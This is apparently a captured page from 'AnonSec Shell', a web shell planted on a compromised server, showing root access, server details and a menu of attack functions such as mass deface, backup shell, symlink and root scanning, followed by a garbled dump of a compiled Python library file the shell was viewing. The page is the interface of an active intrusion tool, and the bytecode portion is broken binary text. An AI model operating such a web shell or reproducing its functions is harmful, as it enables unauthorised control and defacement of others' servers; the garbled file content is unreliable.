AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/lazr/restfulclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/lazr/restfulclient/__pycache__/resource.cpython-310.pyc
o

�`^��@s�dZeZgd�ZddlmZddlmZddlm	Z	m
Z
zddlmZm
Z
mZmZmZWneyGddl
mZm
Z
mZddlmZmZYnwdd	lZejdd
krXeZeZneZeZddlmZddlmZdd
lm Z ddl!m"Z"m#Z#ddl$m%Z%ddl&m'Z'e(�Z)Gdd�d�Z*Gdd�d�Z+Gdd�de+�ZGdd�de�Z,Gdd�de�Z-Gdd�de�Z.Gdd�de+�Z/Gdd �d e�Z0Gd!d"�d"e�Z1Gd#d$�d$e1�Z2Gd%d&�d&e�Z3d	S)'z)Common support for web service resources.)�
Collection�CollectionWithKeyBasedLookup�Entry�NamedOperation�Resource�ServiceRoot�)�Message)�BytesIO)�dumps�loads)�urljoin�urlparse�parse_qs�unquote�	urlencode)rr
r)rrN�)�URI)r)�__version__)�Browser�RestfulHttp)�DatetimeJSONEncoder)�	HTTPErrorc@s*eZdZdZdd�Zd	dd�Zdd�ZdS)
�HeaderDictionarya�A dictionary that bridges httplib2's and wadllib's expectations.

    httplib2 expects all header dictionary access to give lowercase
    header names. wadllib expects to access the header exactly as it's
    specified in the WADL file, which means the official HTTP header name.

    This class transforms keys to lowercase before doing a lookup on
    the underlying dictionary. That way wadllib can pass in the
    official header name and httplib2 will get the lowercased name.
    cCs
||_dS�N)�wrapped_dictionary)�selfr�r�=/usr/lib/python3/dist-packages/lazr/restfulclient/resource.py�__init__Is
zHeaderDictionary.__init__NcCs|j�|���S�z2Retrieve a value, converting the key to lowercase.)r�get�lower)r�key�defaultrrrr LszHeaderDictionary.getcCs |�|t�}|turt|��|Sr)r �missing�KeyError)rr"�valuerrr�__getitem__PszHeaderDictionary.__getitem__r)�__name__�
__module__�__qualname__�__doc__rr r'rrrrr>s


rc@s$eZdZdZdZdd�Zdd�ZdS)�RestfulBasez=Base class for classes that know about lazr.restful services.�application/jsoncCs8i}|��D]\}}t|t�r|j}|||�|�<q|Sr)�items�
isinstancer�	self_link�_get_external_param_name)r�
dictionary�new_dictionaryr"r&rrr�_transform_resources_to_links]s
z)RestfulBase._transform_resources_to_linkscC�|S)aTurn a lazr.restful name into something to be sent over HTTP.

        For resources this may involve sticking '_link' or
        '_collection_link' on the end of the parameter name. For
        arguments to named operations, the parameter name is returned
        as is.
        r�r�
param_namerrrr1esz$RestfulBase._get_external_param_nameN)r(r)r*r+�JSON_MEDIA_TYPEr4r1rrrrr,Xs
r,c@s�eZdZdZdd�Ze�Ze�Ze�Ze	dd��Z
e	dd��Ze	dd	��Ze	d
d��Z
e	dd
��Ze
Zdd�Zdd�Zdd�Zdd�Ze				d'dd��Zd(dd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�ZdS))rz+Base class for lazr.restful HTTP resources.cCs$|dur|}||jd<||jd<dS)z5Initialize with respect to a wadllib Resource object.N�_root�_wadl_resource)�__dict__�r�root�
wadl_resourcerrrrss
zResource.__init__cC�|�|j�S)z,Name the collections this resource links to.)�_get_parameter_names�FIND_COLLECTIONS�rrrr�lp_collections��zResource.lp_collectionscCr?)z(Name the entries this resource links to.)r@�FIND_ENTRIESrBrrr�
lp_entries�rDzResource.lp_entriescCr?)z'Name this resource's scalar attributes.)r@�FIND_ATTRIBUTESrBrrr�
lp_attributes�rDzResource.lp_attributescCs�g}|jjD]E}|j��}|dkr|j�ddg�}n|dkr9dD]}|j�|�}|dur2|��}nq |�|j�}|D]}|jdkrJ|�|j	�nq;q|S)z.Name all of this resource's custom operations.r �query�plain�post)�!application/x-www-form-urlencoded�multipart/form-dataN�ws.op)
r:�method_iter�namer!�request�params�get_representation_definition�resolve_definition�append�fixed_value)r�names�methodrPrR�
media_type�
definition�paramrrr�
lp_operations�s,
��
��zResource.lp_operationscCs|�|j|j|j�S)z;A hook into dir() that returns web service-derived members.)r@rArErGrBrrr�__members__�s�zResource.__members__cGs�g}|j�|j�D]@}|j}|j}|dkr?|dur?|jr?|�d�r0|j|vr/|�|dd��q	|j	|vr>|�|dd��q	|j
|vrI|�|�q	|S)z2Retrieve some subset of the resource's parameters.r0N�_collection_linki����)r:�
parametersr8rP�link�
can_follow�endswithrArUrErG)r�kindsrW�	parameterrPrarrrr@�s(��

�
�

�zResource._get_parameter_namescCs|�|�duS)z8Does this resource have a parameter with the given name?N)r1r6rrr�lp_has_parameter�szResource.lp_has_parameterc	Cs�|��dD]6}|j�||�}|dur<z|��Wn	ty#Yqw|��dur-dS|j}|j|j||jd�Sq|j�|�}|durMtd|��|��S)z�Get the value of one of the resource's parameters.

        :return: A scalar value if the parameter is not a link. A new
                 Resource object, whose resource is bound to a
                 representation, if the parameter is a link.
        )�_linkr^N)r7zNo such parameter: %s)	�_ensure_representationr:�
get_parameter�	get_valuer%�linked_resource�_create_bound_resourcer9rP)rr7�suffixr[rkrrr�lp_get_parameter�s,��

��zResource.lp_get_parametercCsRd|i}|jjd|d�}|dur|jjd|d�}|dur"td|��t|j||�S)z�Get a custom operation with the given name.

        :return: A NamedOperation instance that can be called with
                 appropriate arguments to invoke the operation.
        rNr )�query_paramsNrK)�representation_paramszNo operation with name: %s)r:�
get_methodr%rr9)r�operation_namerRrXrrr�lp_get_named_operation�s�zResource.lp_get_named_operationNr-TcCsl|j}t|�d}	t}
|�d�s|dur|�d�rt}
|j�|	|
�}|dur0|j||||d�}n	|||�S)aCreate a lazr.restful Resource subclass from a wadllib Resource.

        :param resource: The wadllib Resource to wrap.
        :param representation: A previously fetched representation of
            this resource, to be reused. If not provided, this method
            will act just like the Resource constructor.
        :param representation_media_type: The media type of any previously
            fetched representation.
        :param representation_needs_processing: Set to False if the
            'representation' parameter should be used as
            is.
        :param representation_definition: A wadllib
            RepresentationDefinition object describing the structure
            of this representation. Used in cases when the representation
            isn't the result of sending a standard GET to the resource.
        :param param_name: The name of the link that was followed to get
            to this resource.
        :return: An instance of the appropriate lazr.restful Resource
            subclass.
        ���z-pageNr^)�representation_definition)�type_urlr
rrcr�RESOURCE_TYPE_CLASSESr �bind)�clsr=�resource�representation�representation_media_type�representation_needs_processingrur7rv�
resource_typer#�r_classrrrrls$
���
zResource._create_bound_resourcecCsd|dur||j_i}|dur||d<|jjj|j|d�}||jjjkr%dS|j�||j�|jd<dS)�&Update this resource's representation.Nz
If-None-Match)�headersr:)	r:�_urlr9�_browserr �NOT_MODIFIEDrxr8r;)r�new_url�etagr�r{rrr�
lp_refresh<s��zResource.lp_refreshcCsLz|�|�WStyYnwz|�|�WSty%td||f��w)z@Try to retrive a named operation or parameter of the given name.z%s object has no attribute '%s')rsr%rn�AttributeError)r�attrrrr�__getattr__Ms���zResource.__getattr__cCs4|j�||j�}|j}t|�dkrdd�|D�SdS)z0Find the set of possible values for a parameter.rcSsg|]}|j�qSr)r&)�.0�optionrrr�
<listcomp>_sz*Resource.lp_values_for.<locals>.<listcomp>N)r:rir8�options�len)rr7rer�rrr�
lp_values_forYs�zResource.lp_values_forcCs*dD]}||}|j�|�r|SqdS)z>What's this parameter's name in the underlying representation?)rgr^�N)r:ri)rr7rmrPrrrr1bs�z!Resource._get_external_param_namecCs�|jjdurJ|jj�|j�}t|t�r|�d�}t|�}t|t	�r;|d}|dur;||jj
kr;|jj�|�}|j
|j_
|jj||jdd�|jd<dSdS)z5Make sure this resource has a representation fetched.N�utf-8�resource_type_linkF�r}r:)r:r{r9r�r r/�binary_type�decoder�dictrv�_wadl�get_resource_type�tagrxr8r;)rr{�	type_linkr~rrrrhjs&




��
��zResource._ensure_representationcCs
||kS)zInequality operator.r�r�otherrrr�__ne__�s
zResource.__ne__)Nr-TNN�NN)r(r)r*r+r�objectrArErG�propertyrCrFrHr\r]�__methods__r@rfrnrs�classmethodrlr�r�r�r1rhr�rrrrrpsB





$�
4	rc@seZdZdZedd��ZdS)�ScalarValuez.A resource representing a single scalar value.cCs|��|jjS)zReturn the scalar value.)rhr:r{rBrrrr&�szScalarValue.valueN)r(r)r*r+r�r&rrrrr��sr�c@s2eZdZdZddd�Zdd�Zdd	�Zd
d�ZdS)
�
HostedFilezAA resource representing a file managed by a lazr.restful service.�rNcCs|dvrt||||�Std��)z5Open the file on the server for read or write access.)r��w�'Invalid mode. Supported modes are: r, w)�HostedFileBuffer�
ValueError)r�mode�content_type�filenamerrr�open�szHostedFile.opencCs|jj�|jj�dS)z Delete the file from the server.N)r9r��deleter:�urlrBrrrr���zHostedFile.deletecGsgS)z4HostedFile objects define no web service parameters.r)rrdrrrr@��zHostedFile._get_parameter_namescCs|duo|jj|jjkS)aEquality comparison.

        Two hosted files are the same if they have the same URL.

        There is no need to check the contents because the only way to
        retrieve or modify the hosted file contents is to open a
        filehandle, which goes direct to the server.
        N)r:r�r�rrr�__eq__�s	�zHostedFile.__eq__)r�NN)r(r)r*r+r�r�r@r�rrrrr��s
r�csVeZdZdZeed�Zdddddejf�fdd�	Z	e
dd��Zd	d
�Zdd�Z
�ZS)
rz�Entry point to the service. Subclass this for a service-specific client.

    :ivar credentials: The credentials instance used to access Launchpad.
    )r�r�Nr�c	s�|dur|ddkr|d7}|t|�7}|ddkr|d7}t|�|_||_||_t||||||j|�|_|j�|j�|_	|j	�
d�}	|	�|j�|	�d�}
t
t|��d|
�dS)z�Root access to a lazr.restful API.

        :param credentials: The credentials used to access the service.
        :param service_root: The URL to the root of the web service.
        :type service_root: string
        Nrt�/r�r-)�strr�	_root_uri�_base_client_name�credentialsr�_user_agentr��get_wadl_applicationr��get_resource_by_pathrxr �superrr)r�
authorizer�service_root�cache�timeout�
proxy_info�version�base_client_name�max_retries�
root_resource�
bound_root��	__class__rrr�s&	
��zServiceRoot.__init__cCspdt}|jdkr|jd|d}t�}||d<|jdur4|jj}t|�D]
}||}|�||d�q&|dS)a�The value for the User-Agent header.

        This will be something like:
        launchpadlib 1.6.1, lazr.restfulclient 1.0.0; application=apport

        That is, a string describing lazr.restfulclient and an
        optional custom client built on top, and parameters containing
        any authorization-specific information that identifies the
        user agent (such as the application name).
        zlazr.restfulclient %sr�z (�)z
User-AgentN)rr�rr��user_agent_params�sorted�	set_param)r�base_portion�messager�r"r&rrrr��s

zServiceRoot._user_agentcCst||||�Sr)r)rr�r�r�r�rrr�httpFactory�szServiceRoot.httpFactorycCs�t|�}|jdkr|dd�dkr|dd�}t|j�|��}|j�|�}t|t�r/|�	d�}zt
|�}Wn
tyBtd|��w|�d�}|durRtd|��|jj
�|�}t|jj
||j�}|j|j||d	d
d�S)zLoad a resource given its URL.r�N�r�r�z!%s doesn't serve a JSON document.r�z+Couldn't determine the resource type of %s.r-Fr�)r
�schemer�r�rUr�r r/r�r�rr�r9r�r��WadlResourcer�rl)rr��parsed�documentr{r�r~r>rrr�load�s0


�
�
�zServiceRoot.load)r(r)r*r+r�r�rwr�MAX_RETRIESrr�r�r�r��
__classcell__rrr�rr�s��!
rc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
rz=A class for a named operation to be invoked with GET or POST.cCs||_||_||_dS)z/Initialize with respect to a WADL Method objectN)r=rz�wadl_method)rr=rzr�rrrrs
zNamedOperation.__init__cOs|t|�dkr
td��|jj}|�|�}|jj}|dvr|j}n|�d�}|dur-|�d�}|dus5Jd��|�|j	j
�}tdd	�|D��}|��D]\}}	||vrYt
|	td
�||<qI|dvrl|jjdi|��}
d}i}n|j��}
|jjdi|��\}
}d|
i}|jjj|
||��|d
�\}}|jdkr�|�|
||�S|dkr�|jdkr�|d}
|jj�|
�\}}n|j	��|�|
||�S)z)Invoke the method and process the result.rz(Method must be called with keyword args.)r �headr�rMNrLzYA POST named operation must define a multipart or form-urlencoded request representation.cSs*g|]}|jdkst|j�dkr|j�qS)�binaryr)�typer�r�rP)r�r[rrrr�5s
��z+NamedOperation.__call__.<locals>.<listcomp>)ryr�zContent-type)�
extra_headers��rK�-�locationr)r��	TypeErrorr�rPr4rQrorSrRrzr:�setr.r
r�build_request_url�build_representationr=r��_request�upper�status�_handle_201_responser��_handle_200_response)r�args�kwargs�http_methodrQrRrZ�send_as_is_paramsr"r&r��in_representationr�rY�response�contentrrr�__call__ s\
��
��

��

�


zNamedOperation.__call__cCsL|jj�t|��}|�d�}|j}|jj�|j	�\}}t
�|j|||d�S)z5Handle the creation of a new resource by fetching it.�Location�content-type)r�r�rxrrirkr=r�r�r�rrl)rr�r�r��
wadl_response�wadl_parameterr>rrrr�bs�
��z#NamedOperation._handle_201_responsec
Cs�|d}|jj}|�|�}|dur&||jkr$t|t�r |�d�}t|�S|St|t�r0|�d�}t|�}|dur:|Sd|vrYd|vrY|d}|jj	�
|d�}t|jj	||j�}	n
|�
�}t|jj	||j�}	tj|j|	||d|d�S)z)Process the return value of an operation.r�Nr�r0r�F)r}ru)r�r�rSr8r/r�r�rr=r�r�r�r�rTrrl)
rr�r�r�r��response_definitionrur�r~r>rrrr�psF��




�
�	��
�z#NamedOperation._handle_200_responsecCr5)z/Named operation parameter names are sent as is.rr6rrrr1�r�z'NamedOperation._get_external_param_nameN)	r(r)r*r+rr�r�r�r1rrrrrsB6rcsjeZdZdZ�fdd�Zdd�Zdd�Zdd	�Z�fd
d�Zdd
�Z	dd�Z
d�fdd�	Zdd�Z�Z
S)rzBA class for an entry-type resource that can be updated with PATCH.cs2tt|��||�i|jd<tt|��||�dS)N�_dirty_attributes)r�rrr;r<r�rrr�s
zEntry.__init__cCsdt|j�j|jfS)z:Return the WADL resource type and the URL to the resource.z
<%s at %s>)rr��fragmentr0rBrrr�__repr__�s�zEntry.__repr__cCs|jj�t|j��S)zDelete the resource.)r9r�r�rr0rBrrr�	lp_delete�szEntry.lp_deletecCs|jS)zReturn the URL to the resource.)r0rBrrr�__str__��z
Entry.__str__cs,|dkr||jvr|j|Stt|��|�S)z-Try to retrive a parameter of the given name.r�)r�r�rr�)rrPr�rrr��s

zEntry.__getattr__cCs,|�|�std|jj|f��||j|<dS)z$Set the parameter of the given name.z!'%s' object has no attribute '%s'N)rfr�r�r(r�)rrPr&rrr�__setattr__�s


�zEntry.__setattr__cCs,|duo|j|jko|j|jko|j|jkS)z�Equality operator.

        Two entries are the same if their self_link and http_etag
        attributes are the same, and if their dirty attribute dicts
        contain the same values.
        N)r0�	http_etagr�r�rrrr��s
�
�
�zEntry.__eq__Ncs,t|dd�}tt|��||�|j��dS)r�r�N)�getattrr�rr�r��clear)rr�r�r�rrr��szEntry.lp_refreshcCs�|�|j�}i}t|dd�}|dur||d<|jj�t|j�||�\}}|jdkr0|�	|d�|j�
�|d}|jdkr[||jkr]t|t
�rM|�d�}t|�}||j_||j_dSdSdS)	zSave changes to the entry.r�NzIf-Matchr�r�r���r�)r4r�r�r9r��patchrr0r�r�r�r8r/r�r�rr:r{rY)rr{r�r�r�r�r��new_representationrrr�lp_save�s*��



�z
Entry.lp_saver)r(r)r*r+rr�r�r�r�r�r�r�rr�rrr�rr�s
rcsPeZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
�ZS)rz4A collection-type resource that supports pagination.cstt|��||�dS)zCreate a collection object.N)r�rrr<r�rrrr�zCollection.__init__cCs,|j}t|t�r
|St|t�r|jStd��)znThe number of items in the collection.

        :return: length of the collection
        :rtype: int
        z collection size is not available)�
total_sizer/�intr�r&r�)rrrrr�__len__s

zCollection.__len__ccsx�|��|jj}	|�|�di��D]}|Vq|�d�}|dur$dS|jj�t|��}t|t	�r7|�
d�}t|�}q
)zqIterate over the items in the collection.

        :return: iterator
        :rtype: sequence of `Entry`
        T�entries�next_collection_linkNr�)rhr:r{�_convert_dicts_to_entriesr r9r�rr/r�r�r)r�current_pagerz�	next_link�next_getrrr�__iter__$s �
�


�zCollection.__iter__cCsDt|t�r
|�|�S|�t||d��}t|�dkrtd��|dS)acLook up a slice, or a subordinate resource by index.

        To discourage situations where a lazr.restful client fetches
        all of an enormous list, all collection slices must have a
        definitive end point. For performance reasons, all collection
        slices must be indexed from the start of the list rather than
        the end.
        r�zlist index out of ranger)r/�slice�
_get_slicer��
IndexError)rr"�found_slicerrrr'8s
	
zCollection.__getitem__cCs�|jpd}|j}|dkrtd��|dkrtd��|jj}|dur<|t|d�kr<|d}t|�}|||�}|�d�}n
d}g}|�|jjd|�}||}	|	t|�}
|
dkr�|dur�|j	j
�|�}t|t�rl|�
d�}t|�}|d}
||
d|
�7}|	t|�}
|�d�}|dur�n|dur�t|
�}|
dkr�|
|kr�|�|d	|
�}|
dkr�|dus[|jdur�|dd|j�}d
d�|�|�D�S)z!Retrieve a slice of a collection.rz6Collection slices must have a nonnegative start point.z>Collection slices must have a definite, nonnegative end point.Nrrzws.startr�zws.sizecSsg|]}|�qSrr)r�rzrrrr��sz)Collection._get_slice.<locals>.<listcomp>)�start�stopr�r:r{r�r �_with_url_query_variable_setr�r9r�r/r�r�r�stepr	)rrrr�existing_representation�
entry_page�first_page_size�entry_dicts�page_url�desired_size�more_needed�page_getr{�current_page_entriesrrrrJsX
�
�


��
�zCollection._get_sliceccs\�|D](}|d}|d}|jj}|�|�}t|jj||j�}t�|j|||jd�VqdS)aConvert dictionaries describing entries to Entry objects.

        The dictionaries come from the 'entries' field of the JSON
        dictionary you get when you GET a page of a collection. Each
        dictionary is the same as you'd get if you sent a GET request
        to the corresponding entry resource. So each of these
        dictionaries can be treated as a preprocessed representation
        of an entry resource, and turned into an Entry instance.

        :yield: A sequence of Entry instances.
        r0r�FN)	r:�applicationr�r�r�rrlr9r8)rr�
entry_dict�resource_urlr��wadl_applicationr~rzrrrr	�s"�����z$Collection._convert_dicts_to_entriescCsBt|�}|jduri}nt|j�}t|�||<t|d�|_t|�S)z1A helper method to set a query variable in a URL.NT)rrIrr�r)rr��variable�	new_value�urirRrrrr�s

z'Collection._with_url_query_variable_set)r(r)r*r+rrr
r'rr	rr�rrr�rrsUrcs4eZdZdZ�fdd�Zdd�ZdZdd�Z�ZS)	rz�A collection-type resource that supports key-based lookup.

    This collection can be sliced, but any single index passed into
    __getitem__ will be treated as a custom lookup key.
    c
s�t|t�r
tt|��|�Sz|�|�}Wntytd��w|dur(t|��||�}z|�	�W|St
yJ}z|jjdkrEt|���d}~ww)z8Look up a slice, or a subordinate resource by unique ID.�unsubscriptable objectN�)
r/rr�rr'�_get_url_from_id�NotImplementedErrorr�r%rhrr�r�)rr"r��
shim_resource�er�rrr'�s&
�
���z(CollectionWithKeyBasedLookup.__getitem__c
Cs�z|�|�}Wntytd��w|durt|��|jdur.d}t|jjjd|j�}n3z|jj	�
|�}t|t�r@|�
d�}t|�}Wnty\}z|jjdkrWt|���d}~ww|d}t|jj||�}|j|j||dd�S)	z=Retrieve a member from this collection without looking it up.r&N�#r�r'r�F)r{r})r(r)r�r��
collection_ofrr9r��
markup_urlr�r r/r�r�rrr�r�r%r�rl)rr"r�r{r��url_get�errorrzrrrr��s:�
�


���z%CollectionWithKeyBasedLookup.__call__NcCst��)z2Transform the unique ID of an object into its URL.)r))rr"rrrr(r�z-CollectionWithKeyBasedLookup._get_url_from_id)	r(r)r*r+r'r�r-r(r�rrr�rr�s0rc@s*eZdZdZd	dd�Zdd�Zdd�ZdS)
r�z8The contents of a file hosted by a lazr.restful service.Nc
Cs�|jj|_|dkrB|durtd��|durtd��|jjj|jdd�\}}|d}|�d�}|d}t|�d	}	t|	�d
�d�}n|dkr[d
}|durPtd��|durXtd��d}ntd��||_	||_
||_||_||_
t�||�dS)Nr�z8Files opened for read access can't specify content_type.z4Files opened for read access can't specify filename.T)�return_responser�z
last-modifiedzcontent-location�r�rtr�r�z8Files opened for write access must specify content_type.z4Files opened for write access must specify filename.r�)r:r�r�r9r�r r
r�split�hosted_filer�r�r��
last_modifiedr	r)
rr4r�r�r�r�r&r5�content_location�pathrrrrs8

�
zHostedFileBuffer.__init__cCsD|jdkrd|j}|jjj�|j|��|jd|i�t	�
|�dS)Nr�zattachment; filename="%s"zContent-Disposition)r�r�r4r9r��putr��getvaluer�r	�close)r�dispositionrrrr:Bs




�zHostedFileBuffer.closecCst�||�dSr)r	�write)r�brrrr<JszHostedFileBuffer.writer�)r(r)r*r+rr:r<rrrrr�s

(r�)4r+r��
__metaclass__�__all__�
email.messager�ior	�jsonr
r�urllib.parserr
rrr�ImportError�urllib�sys�version_infor��	text_type�bytesr��unicode�lazr.urir�wadllib.applicationrr��lazr.restfulclientr�lazr.restfulclient._browserrr�lazr.restfulclient._jsonr�lazr.restfulclient.errorsrr�r$rr,r�r�rrrrrr�rrrr�<module>sP
 �
c`:T

Anon7 - 2022
AnonSec Team